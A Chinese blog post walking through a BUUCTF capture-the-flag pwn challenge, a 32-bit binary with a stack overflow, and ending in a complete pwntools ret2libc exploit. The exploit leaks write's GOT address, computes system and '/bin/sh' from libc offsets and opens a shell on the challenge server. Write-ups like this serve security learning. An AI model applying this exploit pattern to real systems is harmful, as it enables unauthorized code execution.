BUUCTF—铁人三项(第五赛区)_2018_rop

先看看开了什么保护机制

打开32位ida看看

去看看be_nice_to_people函数

可以去百度一下这两个函数,反正没啥用
再去看看vulnerable_function函数

一个栈溢出,可以的,去看看后门函数有木有

得,别说后门函数了,system和/bin/sh也没有,没开地址随机化,那就是的libc泄露了
32位libc地址泄露的话是4字节,所以脚本注意下就行了

from pwn import*
p=remote('node4.buuoj.cn',29374)
elf=ELF('./rop')
write_got=elf.got['write']
write_plt=elf.plt['write']
main=0x080484c6
payload=b'a'*0x8c+p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(0x20)
p.sendline(payload)
write_add=u32(p.recv(4))
print(hex(write_add))
system=write_add-0xa89e0
binsh=write_add+0x961df
payload=b'a'*0x8c+p32(system)+p32(0)+p32(binsh)
p.sendline(payload)
p.interactive()
posted @ 2022-10-14 17:05  予柒  阅读(242)  评论(0编辑  收藏  举报
返回顶端
Live2D /*修改地一:waifu.css*/
/*修改地二:waifu.css*/
/*修改地三:live2d.js*/ /*修改地四:waifu-tips.js*/